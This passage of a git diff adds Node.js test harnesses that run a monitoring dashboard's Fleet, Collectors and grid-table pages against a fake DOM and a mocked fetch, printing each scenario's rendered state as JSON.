+  const panel = await buildPanel(bodies.allcut);
+  out.subgrids = processDetails(panel).length;
+  out.text = panel.textContent;
+} else if (scenario === "capped") {
+  const panel = await buildPanel(bodies.capped);
+  Object.assign(out, state(panel));
+} else if (scenario.startsWith("spread:") || scenario.startsWith("clean:") || scenario.startsWith("cut:")) {
+  /* spread:<names split on |>, or spread:none for no filter; clean: is the same over the two deadlocks whose processes are all in A or B. */
+  const names = scenario.slice(scenario.indexOf(":") + 1);
+  if (names !== "none") {
+    globalThis.location = { hash: "#/server/SRV1/blocking" };
+    modules.util.setActiveDatabaseFilter({ server: "SRV1", databases: names.split("|") });
+  }
+  const panel = await buildPanel(scenario.startsWith("clean:") ? { server: "SRV1", deadlocks: [bodies.spread.deadlocks[1], WITH_GRAPH("c1", [PROC(1, "A"), PROC(2, "B")])] } : scenario.startsWith("cut:") ? bodies.cut : bodies.spread);
+  const procs = processDetails(panel).filter((d) => !/^Graph/.test(d.children[0].textContent));
+  const st = {
+    summaries: procs.map((d) => d.children[0].textContent),
+    subRows: procs.map((d) => all(d, "tr").map((tr) => all(tr, "td").map((td) => td.textContent)).filter((c) => c.length)),
+  };
+  const classOf = (n) => n.className || "";
+  const find = (node, pred, found = []) => {
+    if (!node || typeof node !== "object") return found;
+    if (pred(node)) found.push(node);
+    node.children.forEach((c) => find(c, pred, found));
+    return found;
+  };
+  out.summaries = st.summaries;
+  out.subDatabases = st.subRows.map((rows) => rows.map((cells) => cells[3]));
+  out.graphs = find(panel, (n) => n.tag === "details" && /^Graph/.test(n.children[0].textContent)).map((d) => d.children[0].textContent);
+  out.cellTexts = find(panel, (n) => n.tag === "td" && /hidden by the database filter/.test(n.textContent)).map((n) => n.textContent);
+  out.notes = find(panel, (n) => classOf(n) === "deadlock-rows-note").map((n) => n.textContent);
+  const chips = find(panel, (n) => n.dataset && n.dataset.dbScope);
+  out.chips = chips.map((c) => ({ state: c.dataset.dbScope, text: c.textContent, title: c.attrs.title }));
+} else {
+  throw new Error("unknown scenario " + scenario);
+}
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/web-fleet-silence-harness.mjs b/Darling/Darling.Tests/web-fleet-silence-harness.mjs
new file mode 100644
index 0000000000..92cd6caf9c
--- /dev/null
+++ b/Darling/Darling.Tests/web-fleet-silence-harness.mjs
@@ -0,0 +1,198 @@
+/* Runs the shipped Fleet page (wwwroot/js/pages/fleet.js) under Node against a fake DOM and a fake fetch and
+   prints a scenario's result as one line of JSON. FleetSilenceBehaviourTests starts it as
+       node web-fleet-silence-harness.mjs <path to wwwroot/js> <scenario>
+   The page and every module are copied unchanged into a scratch folder and imported as the browser would. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, scenario] = process.argv.slice(-2);
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.handlers = {};
+    this.isConnected = true;
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() { return this.children[0] || null; }
+  appendChild(child) { this.children.push(child); return child; }
+  removeChild(child) { const i = this.children.indexOf(child); if (i >= 0) this.children.splice(i, 1); return child; }
+  setAttribute(name, value) { this.attrs[name] = String(value); }
+  getAttribute(name) { return name in this.attrs ? this.attrs[name] : null; }
+  addEventListener(type, fn) { (this.handlers[type] ||= []).push(fn); }
+  set textContent(value) { this.children = []; this.text = String(value); }
+  get textContent() { return (this.text || "") + this.children.map((c) => c.textContent).join(""); }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+  getElementById: () => null, querySelector: () => null, querySelectorAll: () => [], addEventListener() {},
+};
+const confirms = [];
+let confirmAnswer = true;
+globalThis.window = globalThis;
+globalThis.confirm = (m) => { confirms.push(m); return confirmAnswer; };
+globalThis.location = { hash: "", pathname: "/", search: "", href: "http://localhost/", origin: "http://localhost" };
+globalThis.history = { pushState() {}, replaceState() {}, back() {} };
+const mem = new Map();
+globalThis.localStorage = { getItem: (k) => (mem.has(k) ? mem.get(k) : null), setItem: (k, v) => mem.set(k, String(v)), removeItem: (k) => mem.delete(k) };
+globalThis.sessionStorage = globalThis.localStorage;
+globalThis.addEventListener = () => {};
+globalThis.matchMedia = () => ({ matches: false, addEventListener() {}, removeEventListener() {} });
+
+const all = (node, pred, out = []) => { if (pred(node)) out.push(node); for (const c of node.children) all(c, pred, out); return out; };
+const settle = () => new Promise((r) => setTimeout(r, 25));
+const silenceButtons = (root) => all(root, (n) => n.tag === "button" && /^(Silence|Unsilence|…)$/.test(n.textContent));
+const bells = (root) => all(root, (n) => n.className === "silenced-bell").length;
+const click = async (node, stop = () => {}) => {
+  for (const fn of node.handlers.click || []) await fn({ stopPropagation: stop });
+  await settle();
+};
+
+const card = (server_id, display_name, is_silenced) => ({
+  server_id, display_name, server_name: display_name, band: "Healthy", band_label: "Healthy", is_online: true,
+  status: "ok", last_collection: null, tags: [], is_silenced, metric_count: 0, measured_metric_count: 0,
+});
+let canEdit = true;
+let fleetSilenced = false;
+let rules = [];
+let gate = null;
+let extraCards = null;
+const calls = [];
+const reply = (status, body) => ({ status, ok: status >= 200 && status < 300, text: async () => JSON.stringify(body) });
+globalThis.fetch = async (url, init = {}) => {
+  const method = init.method || "GET";
+  if (url === "/api/session") return reply(200, { can_edit: canEdit });
+  if (url === "/api/fleet") return reply(200, { total_servers: extraCards ? extraCards.length : 1, critical_count: 0, warning_count: 0, offline_count: 0, tags: [], cards: extraCards || [card(10, "srv-a", fleetSilenced)] });
+  if (url.startsWith("/api/read/get_mute_rules")) { calls.push({ method, url }); return reply(200, { mute_rules: rules }); }
+  calls.push({ method, url, body: init.body ? JSON.parse(init.body) : null });
+  if (gate) await gate;
+  return reply(method === "POST" ? 201 : 200, { status: method === "POST" ? "created" : "deleted", mute_rule: { id: "new" } });
+};
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "fleet-silence-"));
+const out = {};
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  const page = await import(pathToFileURL(path.join(scratch, "pages", "fleet.js")).href);
+  const main = new FakeNode("main");
+  const draw = async () => { await page.renderFleet(main); await settle(); };
+  const writes = () => calls.filter((c) => c.method !== "GET");
+
+  const scenarios = {
+    gate: async () => {
+      canEdit = false;
+      await draw();
+      return { buttons: silenceButtons(main).length };
+    },
+    silence: async () => {
+      await draw();
+      const before = silenceButtons(main).map((b) => b.textContent);
+      await click(silenceButtons(main)[0]);
+      const afterClick = silenceButtons(main).map((b) => b.textContent);
+      /* the 60 s poll: the fleet read still says not silenced (it predates the write) */
+      await draw();
+      return { before, afterClick, afterRebuild: silenceButtons(main).map((b) => b.textContent), bell: bells(main), writes: writes(), confirms };
+    },
+    declined: async () => {
+      confirmAnswer = false;
+      await draw();
+      await click(silenceButtons(main)[0]);
+      return { writes: writes().length, confirms: confirms.length };
+    },
+    pending: async () => {
+      let release;
+      gate = new Promise((r) => { release = r; });
+      await draw();
+      const first = click(silenceButtons(main)[0]);
+      await settle();
+      await draw(); /* a rebuild while the write is in flight */
+      const rebuilt = silenceButtons(main)[0];
+      const disabled = rebuilt.attrs.disabled === "disabled";
+      await click(rebuilt); /* a second click on the rebuilt card must not fire again */
+      release();
+      await first;
+      await settle();
+      return { disabled, posts: writes().filter((c) => c.method === "POST").length, label: silenceButtons(main)[0].textContent };
+    },
+    unsilence: async () => {
+      fleetSilenced = true;
+      const own = { id: "own-1", server_id: 10, reason: "Silenced from server list", metric_name: null, database_pattern: null, query_text_pattern: null, wait_type_pattern: null, job_name_pattern: null };
+      rules = [
+        own,
+        { ...own, id: "narrow", metric_name: "Blocking" },
+        { ...own, id: "other-server", server_id: 11 },
+        { ...own, id: "hand-built", reason: "my own words" },
+        { ...own, id: "other-name", server_id: null, server_name: "elsewhere" },
+      ];
+      await draw();
+      const before = silenceButtons(main).map((b) => b.textContent);
+      await click(silenceButtons(main)[0]);
+      await draw(); /* the fleet read still says silenced for a moment */
+      return { before, writes: writes(), after: silenceButtons(main).map((b) => b.textContent), confirms };
+    },
+    /* the invariant: every server the page shows as silenced (the bell's test, no reason condition) loses its rule */
+    unsilenceAgrees: async () => {
+      const none = { metric_name: null, database_pattern: null, query_text_pattern: null, wait_type_pattern: null, job_name_pattern: null };
+      rules = [
+        { id: "r-marker", server_id: 20, server_name: "srv-20", reason: "Silenced from server list", ...none },
+        { id: "r-edited", server_id: 21, server_name: "srv-21", reason: "my own words", ...none },
+        { id: "r-noreason", server_id: 22, server_name: "srv-22", reason: null, ...none },
+        { id: "r-narrow", server_id: 23, server_name: "srv-23", reason: "x", ...none, metric_name: "Blocking" },
+        { id: "r-name", server_id: null, server_name: "SRV-24", reason: "legacy", ...none },
+      ];
+      extraCards = [20, 21, 22, 24].map((i) => card(i, "srv-" + i, true));
+      await draw();
+      const perServer = {};
+      for (let i = 0; i < 4; i++) {
+        const before = writes().length;
+        await click(silenceButtons(main)[i]);
+        perServer[extraCards[i].server_id] = writes().slice(before).map((c) => c.method + " " + c.url);
+      }
+      return { perServer, notices: all(main, (n) => n.attrs.role === "status").map((n) => n.textContent) };
+    },
+    unsilenceNameOnly: async () => {
+      fleetSilenced = true;
+      rules = [{ id: "legacy", server_id: null, server_name: "SRV-A", reason: "x", metric_name: null, database_pattern: null, query_text_pattern: null, wait_type_pattern: null, job_name_pattern: null }];
+      await draw();
+      await click(silenceButtons(main)[0]);
+      return { writes: writes().length, notice: all(main, (n) => n.attrs.role === "status").map((n) => n.textContent) };
+    },
+    noticeClears: async () => {
+      await draw();
+      await click(silenceButtons(main)[0]);
+      const shown = all(main, (n) => n.attrs.role === "status").length;
+      await draw();
+      return { shown, afterRebuild: all(main, (n) => n.attrs.role === "status").length };
+    },
+    hung: async () => {
+      page.silenceTimeouts.writeMs = 50;
+      gate = new Promise(() => {}); /* the write never returns */
+      await draw();
+      await click(silenceButtons(main)[0]);
+      await new Promise((r) => setTimeout(r, 150));
+      const b = silenceButtons(main)[0];
+      return { disabled: b.attrs.disabled === "disabled", label: b.textContent, notice: all(main, (n) => n.attrs.role === "status").map((n) => n.textContent) };
+    },
+  };
+  if (!scenarios[scenario]) throw new Error("unknown scenario " + scenario);
+  Object.assign(out, await scenarios[scenario]());
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+console.log(JSON.stringify(out));
+process.exit(0);
diff --git a/Darling/Darling.Tests/web-gated-collectors-harness.mjs b/Darling/Darling.Tests/web-gated-collectors-harness.mjs
new file mode 100644
index 0000000000..8e04802084
--- /dev/null
+++ b/Darling/Darling.Tests/web-gated-collectors-harness.mjs
@@ -0,0 +1,117 @@
+/* Runs the shipped PostgreSQL Overview tab (wwwroot/js/pages/server-tabs.js) against a scripted get_collection_health
+   answer and prints, as one line of JSON, what its Collectors panel drew: the headers, and per row the cell texts and the
+   cell classes. A not_collected row (#5249) must paint in the neutral band with its sentence under "Why not collected";
+   a payload with no such row must show no such column.
+       node web-gated-collectors-harness.mjs <path to wwwroot/js> */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const jsDir = process.argv[2];
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener() {}
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+
+const fetches = [];
+let healthBody = {};
+let healthHangs = false;
+globalThis.fetch = async (url) => {
+  const u = new URL(String(url), "http://viewer.test");
+  fetches.push(u.pathname.replace("/api/read/", "") + "?" + u.searchParams.toString());
+  if (healthHangs && u.pathname.endsWith("/get_collection_health")) return new Promise(() => {});
+  const body = u.pathname.endsWith("/get_collection_health") ? healthBody : {};
+  return { status: 200, ok: true, text: async () => JSON.stringify(body) };
+};
+process.on("unhandledRejection", () => {});
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "gated-collectors-"));
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module
+     that server-tabs.js imports and another PR adds (pages/deadlock-graph.js broke the old fixed list, #5249) then needs no
+     edit here. Only imported files load, so the rest are inert; charts.js is replaced by the stub below. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { el } from "./util.js";\nexport const SERIES_COLORS = [];\nexport const CATEGORICAL_COLORS = [];\nexport function normalizeColor(c) { return c; }\n' +
+      'export function renderLineChart() { return el("div", {}); }\nexport function zoomableLineChart() { return el("div", {}); }\nexport function chartZoomScope() { return ""; }\n'
+  );
+  const tabs = await import(pathToFileURL(path.join(scratch, "pages", "server-tabs.js")).href);
+  const TITLE = "Collectors";
+  const find = (node, pred) => (pred(node) ? node : node.children.map((c) => find(c, pred)).find(Boolean) || null);
+  const collect = (node, tag, out = []) => {
+    if (node.tag === tag) out.push(node);
+    node.children.forEach((c) => collect(c, tag, out));
+    return out;
+  };
+
+  const run = async (registry, id, body) => {
+    healthBody = body;
+    healthHangs = false;
+    fetches.length = 0;
+    const tab = registry.find((t) => t.id === id);
+    const panels = tab.build("srv-a", { hours: 24, label: "24h" }).flat();
+    await new Promise((r) => setTimeout(r, 50));
+    const panel = panels.find((p) => p && p.tag && find(p, (n) => n.tag === "h3" && n.textContent.startsWith(TITLE)));
+    const heads = panel ? collect(panel, "th").map((th) => th.textContent) : [];
+    const rows = panel
+      ? collect(panel, "tr").slice(1).map((tr) => collect(tr, "td").map((td) => ({ text: td.textContent, cls: td.className })))
+      : [];
+    return { present: !!panel, heads, rows, healthReads: fetches.filter((f) => f.startsWith("get_collection_health?")) };
+  };
+
+  const logged = { collector: "pg_database_stats", status: "HEALTHY", total_runs: 12, errors: 0, rows_stored: 40, last_success: "2026-01-02T00:00:00.0000000Z" };
+  const gated = { collector: "pg_wait_stats", status: "not_collected", message: "srv-a runs PostgreSQL. The pg_wait_stats collector does not run on that engine." };
+  const out = {
+    withGated: await run(tabs.POSTGRES_TABS, "overview", { collectors: [logged, gated], sweep_pressure: {} }),
+    withoutGated: await run(tabs.POSTGRES_TABS, "overview", { collectors: [logged], sweep_pressure: {} }),
+    sqlServerWithout: await run(tabs.SERVER_TABS, "health", { collectors: [logged], sweep_pressure: {} }),
+  };
+  console.log(JSON.stringify(out));
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
diff --git a/Darling/Darling.Tests/web-grid-adoption-harness.mjs b/Darling/Darling.Tests/web-grid-adoption-harness.mjs
new file mode 100644
index 0000000000..ec49fe7e09
--- /dev/null
+++ b/Darling/Darling.Tests/web-grid-adoption-harness.mjs
@@ -0,0 +1,280 @@
+/* #4843: runs the shipped composed-panel table (compose.js), the alert-rule test table (alert-editor.js) and the Fleet
+   Sweeps tables (pages/sweeps.js) on a small fake DOM, through the shared grid in panels.js, and prints what a scenario did
+   as one line of JSON. GridAdoptionBehaviourTests starts it as
+       node web-grid-adoption-harness.mjs <path to the js folder> <scenario> */
+import { pathToFileURL } from "node:url";
+
+class FakeNode {
+  constructor(tag) { this.style = {}; this.classList = { add: (c) => { this.className = (this.className + " " + c).trim(); }, remove: (c) => { this.className = this.className.split(" ").filter((x) => x !== c).join(" "); } }; this.tag = tag; this.children = []; this.attrs = {}; this.listeners = {}; this.parent = null; this._text = ""; this.className = ""; this.value = ""; }
+  get parentNode() { return this.parent; }
+  closest(tag) { for (let n = this; n; n = n.parent) if (n.tag === tag) return n; return null; }
+  click() { this.fire("click", { target: this }); }
+  get firstChild() { return this.children[0] || null; }
+  get textContent() { return this._text + this.children.map((c) => c.textContent).join(""); }
+  set textContent(v) { this._text = String(v); this.children = []; }
+  setAttribute(k, v) { this.attrs[k] = String(v); }
+  getAttribute(k) { return this.attrs[k]; }
+  appendChild(c) { if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c); c.parent = this; this.children.push(c); return c; }
+  removeChild(c) { this.children = this.children.filter((x) => x !== c); c.parent = null; }
+  addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
+  fire(t, e = {}) { for (const fn of this.listeners[t] || []) fn({ preventDefault() {}, ...e }); }
+  focus() { globalThis.document.activeElement = this; this.fire("focus"); }
+  contains(n) { for (; n; n = n.parent) if (n === this) return true; return false; }
+  find(tag) { for (const c of this.children) { if (c.tag === tag) return c; const f = c.find && c.find(tag); if (f) return f; } return null; }
+}
+class FakeText extends FakeNode { constructor(t) { super("#text"); this._text = t; } }
+globalThis.Node = FakeNode;
+const body = new FakeNode("body");
+let downloads = [];
+globalThis.document = { activeElement: null, body, createElement: (t) => new FakeNode(t), createTextNode: (t) => new FakeText(t) };
+const origCreate = URL.createObjectURL;
+URL.createObjectURL = (blob) => { downloads.push({ blob }); return "blob:fake"; };
+URL.revokeObjectURL = () => {};
+const origAppend = body.appendChild.bind(body);
+body.appendChild = (a) => { if (a.tag === "a") a.click = () => { downloads[downloads.length - 1].name = a.download; }; return origAppend(a); };
+const setNav = (v) => Object.defineProperty(globalThis, "navigator", { value: v, configurable: true, writable: true });
+globalThis.location = { hash: "#/server/a/queries" };
+
+const root = process.argv[2];
+const imp = (f) => import(pathToFileURL(root + "/" + f).href);
+const { renderComposedResult } = await imp("compose.js");
+const { renderTestResult } = await imp("alert-editor.js");
+const { renderSweeps } = await imp("pages/sweeps.js");
+const { VIZ, gridTable } = await imp("panels.js");
+
+const all = (n, out = []) => { out.push(n); for (const c of n.children) all(c, out); return out; };
+const tableOf = (w) => all(w).find((n) => n.tag === "table");
+const ths = (w) => tableOf(w).find("thead").find("tr").children;
+const tbodyOf = (w) => tableOf(w).children[1];
+const cellsOf = (w, i) => tbodyOf(w).children.filter((t) => t.style.display !== "none").map((t) => t.children[i].textContent);
+const filterBtn = (w, i) => ths(w)[i].children.find((c) => c.tag === "button");
+const box = (w) => all(w).find((n) => n.className === "grid-filter-input");
+const filterBy = (w, i, text) => { filterBtn(w, i).click(); const b = box(w); b.value = text; b.fire("input"); };
+const tool = (w, label) => all(w).find((n) => n.tag === "button" && n.textContent === label);
+const flush = () => new Promise((r) => setTimeout(r, 0));
+const clip = [];
+Object.defineProperty(globalThis, "navigator", { value: { clipboard: { writeText: async (t) => { clip.push(t); } } }, configurable: true, writable: true });
+const csvText = async () => { const d = downloads[downloads.length - 1]; return d ? await d.blob.text() : null; };
+const out = {};
+const wrapOf = (nodes) => (Array.isArray(nodes) ? nodes : [nodes]).filter(Boolean).find((n) => all(n).some((x) => x.tag === "table"));
+
+const composedRows = [
+  { bucket: "2026-01-02T10:00:00", db: "alpha", value: 1500 },
+  { bucket: "2026-01-02T11:00:00", db: "beta", value: 20 },
+  { bucket: "2026-01-02T12:00:00", db: "Alpha two", value: 300 },
+];
+const composed = (server) => wrapOf(renderComposedResult({ rows: composedRows }, { viz: "table", title: "Db load", measure: "m", unit: "count" }, { scope: { server } }));
+
+const alertRes = { kind: "data", data: { results: [
+  { server: "srv-a", current_value: 90, breaching: true, severity: "Critical" },
+  { server: "srv-b", current_value: 5, breaching: false },
+  { server: "srv-c", no_data: true },
+  { server: "srv-d", current_value: 40, breaching: true },
+] } };
+const alertTable = (key) => wrapOf(renderTestResult(alertRes, "percent", key));
+
+const sweepDoc = {
+  swept_at: "2026-01-02T10:00:00", span_start: "2026-01-02T09:00:00", span_end: "2026-01-02T10:00:00", alerts_enabled: true, instruments_alive: true,
+  previous_sweep_id: "1", entry_bar_sweeps: 2, exit_bar_sweeps: 2,
+  report: { changes: { band_transitions: [
+    { server: "web-one", from: "Healthy", to: "Critical", reason: "disk" },
+    { server: "web-two", from: "Warning", to: "Healthy", reason: "recovered" },
+    { server: "api-one", from: "Healthy", to: "Warning", reason: "cpu" },
+  ] } },
+  verdicts: [], liveness: {},
+};
+const watch = { entry_bar_sweeps: 2, exit_bar_sweeps: 2, items: [
+  { server: "web-one", item: "disk", state: "open", consecutive_hits: 3, consecutive_misses: 0, first_seen_at: "2026-01-02T08:00:00", last_seen_at: "2026-01-02T10:00:00", condition: "disk low", evidence: { free: 1 } },
+  { server: "api-one", item: "cpu", state: "carried", consecutive_hits: 1, consecutive_misses: 1, first_seen_at: "2026-01-02T09:00:00", last_seen_at: "2026-01-02T10:00:00", condition: "cpu high" },
+  { server: null, server_id: 0, fleet_scope: true, item: "fleet", state: "pending", consecutive_hits: 1, consecutive_misses: 0, first_seen_at: "2026-01-02T09:30:00", last_seen_at: "2026-01-02T10:00:00", condition: "fleet wide" },
+  { server: null, server_id: 9, item: "orphan", state: "open", consecutive_hits: 12, consecutive_misses: 0, first_seen_at: "2026-01-02T09:30:00", last_seen_at: "2026-01-02T10:00:00", condition: "no name" },
+] };
+globalThis.fetch = async (url) => {
+  const u = String(url);
+  const body = u.includes("watch-items") ? watch : u.includes("/api/sweeps/latest") || /\/api\/sweeps\/\d/.test(u) ? sweepDoc : u.includes("/api/sweeps") ? { sweeps: [] } : {};
+  const raw = JSON.stringify(body);
+  return { ok: true, status: 200, text: async () => raw, json: async () => body };
+};
+const sweepPage = async () => {
+  const main = new FakeNode("main");
+  await renderSweeps(main, {});
+  await flush(); await flush(); await flush();
+  return main;
+};
+const sectionTable = (main, headText) => all(main).filter((n) => n.className === "grid-box").find((w) => ths(w).map((h) => h.textContent).join("|").includes(headText));
+
+const scenarios = {
+  async viz() {
+    globalThis.location = { hash: "#/server/a/viz" };
+    const cols = [
+      { key: "name", label: "Name" },
+      { key: "a", label: "A", format: "int", group: "G1" },
+      { key: "b", label: "B", format: "int", group: "G2" },
+      { key: "pick", label: "", copy: false, render: () => new FakeNode("input") },
+    ];
+    const rows = [{ name: "Alpha", a: 3, b: 30 }, { name: "beta", a: 1, b: 10 }, { name: "ALPHA two", a: 2, b: 20 }];
+    const desc = { rowsKey: "rows", columns: cols, title: "V", groups: ["G1", "G2"], defaultGroups: ["G1"] };
+    const w = VIZ.table({ rows }, desc);
+    out.heads = ths(w).map((h) => h.textContent.replace(/[▲▼ ▾]/g, ""));
+    out.controlFilter = !!filterBtn(w, 3);
+    out.hiddenB = tbodyOf(w).children[0].children[2].style.display;
+    ths(w)[1].fire("click"); ths(w)[1].fire("click");
+    filterBy(w, 0, "alpha");
+    out.shown = cellsOf(w, 0);
+    tool(w, "Copy all").click(); await flush();
+    out.copy = clip[clip.length - 1];
+    tool(w, "Export CSV").click();
+    out.csv = await csvText();
+    out.rebuilt = cellsOf(VIZ.table({ rows }, desc), 0);
+    const g = gridTable(rows, { ...desc, title: "V2" });
+    out.sameHeads = ths(g).map((h) => h.textContent.replace(/[▲▼ ▾]/g, "")).join("|") === out.heads.join("|");
+    out.sameRows = cellsOf(g, 0).join("|") === cellsOf(VIZ.table({ rows }, { ...desc, title: "V3" }), 0).join("|");
+    out.emptyViz = VIZ.table({ rows: [] }, desc).textContent;
+    out.noFields = VIZ.table({ rows }, { rowsKey: "rows", columns: [] }).textContent;
+  },
+  async composed() {
+    globalThis.location = { hash: "#/server/a/queries" };
+    const w = composed("srv-a");
+    out.heads = ths(w).map((h) => h.textContent.replace(/[▲▼ ▾]/g, ""));
+    out.before = cellsOf(w, 2);
+    ths(w)[2].fire("click");
+    out.sortedAsc = cellsOf(w, 2);
+    ths(w)[2].fire("click");
+    out.sortedDesc = cellsOf(w, 2);
+    filterBy(w, 1, "alpha");
+    out.filtered = cellsOf(w, 1);
+    tool(w, "Copy all").click(); await flush();
+    out.copy = clip[clip.length - 1];
+    tool(w, "Export CSV").click();
+    out.csv = await csvText();
+    const again = composed("srv-a");
+    out.rebuilt = cellsOf(again, 1);
+    out.rebuiltSortInd = ths(again)[2].getAttribute("aria-sort");
+    out.rebuiltBox = !!box(again);
+    const other = composed("srv-b");
+    out.otherServer = cellsOf(other, 1);
+    out.otherSort = ths(other)[2].getAttribute("aria-sort");
+  },
+  async alert() {
+    globalThis.location = { hash: "#/alert-rule/7" };
+    const w = alertTable("rule-7");
+    out.heads = ths(w).map((h) => h.textContent.replace(/[▲▼ ▾]/g, ""));
+    out.before = cellsOf(w, 0);
+    ths(w)[1].fire("click"); ths(w)[1].fire("click");
+    out.byValueDesc = cellsOf(w, 0);
+    filterBy(w, 2, "yes");
+    out.fired = cellsOf(w, 0);
+    tool(w, "Copy all").click(); await flush();
+    out.copy = clip[clip.length - 1];
+    tool(w, "Export CSV").click();
+    out.csv = await csvText();
+    const again = alertTable("rule-7");
+    out.rebuilt = cellsOf(again, 0);
+    out.rebuiltSort = ths(again)[1].getAttribute("aria-sort");
+    globalThis.location = { hash: "#/alert-rule/8" };
+    const other = alertTable("rule-8");
+    out.otherRule = cellsOf(other, 0);
+    out.otherRuleSort = ths(other)[1].getAttribute("aria-sort");
+    out.otherRuleFiltered = cellsOf(other, 0).length;
+    globalThis.location = { hash: "#/alert-rule/new" };
+    const d1 = alertTable("draft-1");
+    ths(d1)[1].fire("click");
+    out.draftSort = ths(d1)[1].getAttribute("aria-sort");
+    out.nextDraftSort = ths(alertTable("draft-2"))[1].getAttribute("aria-sort") || "";
+  },
+  async sweeps() {
+    globalThis.location = { hash: "#/sweeps" };
+    const main = await sweepPage();
+    const t = sectionTable(main, "From");
+    out.found = !!t;
+    out.heads = ths(t).map((h) => h.textContent.replace(/[▲▼ ▾]/g, ""));
+    out.before = cellsOf(t, 0);
+    ths(t)[0].fire("click");
+    out.sorted = cellsOf(t, 0);
+    filterBy(t, 3, "c");
+    out.filtered = cellsOf(t, 0);
+    tool(t, "Copy all").click(); await flush();
+    out.copy = clip[clip.length - 1];
+    const main2 = await sweepPage();
+    const t2 = sectionTable(main2, "From");
+    out.rebuilt = cellsOf(t2, 0);
+    out.rebuiltSort = ths(t2)[0].getAttribute("aria-sort");
+    const watchT = sectionTable(main2, "Condition");
+    out.watchRows = cellsOf(watchT, 0);
+    out.watchHeads = ths(watchT).map((h) => h.textContent.replace(/[▲▼ ▾]/g, ""));
+    tool(watchT, "Export CSV").click();
+    out.watchCsv = await csvText();
+    ths(watchT)[3].fire("click");
+    out.posAsc = cellsOf(watchT, 1);
+    ths(watchT)[3].fire("click");
+    out.posDesc = cellsOf(watchT, 1);
+    ths(watchT)[0].fire("click");
+    out.serverAsc = cellsOf(watchT, 0);
+    out.serverCsv = (() => { tool(watchT, "Export CSV").click(); return csvText(); })();
+    out.serverCsv = await out.serverCsv;
+  },
+  async twoPanels() {
+    globalThis.location = { hash: "#/view/dash" };
+    const spec = { viz: "table", title: "", measure: "m", unit: "count" };
+    const mk = (slot) => wrapOf(renderComposedResult({ rows: composedRows }, spec, { scope: { server: "srv-a" }, panelSlot: slot }));
+    const a = mk(0);
+    ths(a)[2].fire("click"); ths(a)[2].fire("click");
+    filterBy(a, 1, "alpha");
+    out.aSort = ths(a)[2].getAttribute("aria-sort");
+    out.aRows = cellsOf(a, 1);
+    const b = mk(1);
+    out.bSort = ths(b)[2].getAttribute("aria-sort") || "";
+    out.bRows = cellsOf(b, 1);
+    const a2 = mk(0);
+    out.a2Sort = ths(a2)[2].getAttribute("aria-sort");
+    out.a2Rows = cellsOf(a2, 1);
+  },
+  async composedInto() {
+    globalThis.location = { hash: "#/view/dash" };
+    globalThis.fetch = async () => {
+      const b = { sql: "select 1", rows: composedRows };
+      const raw = JSON.stringify(b);
+      return { ok: true, status: 200, text: async () => raw, json: async () => b };
+    };
+    const { renderComposedInto } = await imp("compose.js");
+    const body = new FakeNode("div");
+    await renderComposedInto(body, { viz: "table", title: "", measure: "m", unit: "count" }, { server: "srv-a" }, { panelSlot: 3 });
+    const t = wrapOf(body.children);
+    out.found = !!t;
+    out.rows = t ? cellsOf(t, 1) : [];
+    if (t) { ths(t)[2].fire("click"); out.sorted = cellsOf(t, 1); }
+    const body2 = new FakeNode("div");
+    await renderComposedInto(body2, { viz: "table", title: "", measure: "m", unit: "count" }, { server: "srv-a" }, { panelSlot: 3 });
+    out.sameSlotSort = ths(wrapOf(body2.children))[2].getAttribute("aria-sort");
+    const body3 = new FakeNode("div");
+    await renderComposedInto(body3, { viz: "table", title: "", measure: "m", unit: "count" }, { server: "srv-a" }, { panelSlot: 4 });
+    out.otherSlotSort = ths(wrapOf(body3.children))[2].getAttribute("aria-sort") || "";
+  },
+  async vizEdges() {
+    globalThis.location = { hash: "#/server/a/viz-edges" };
+    const rows = [{ name: "Alpha", n: 3 }, { name: "beta", n: 1 }];
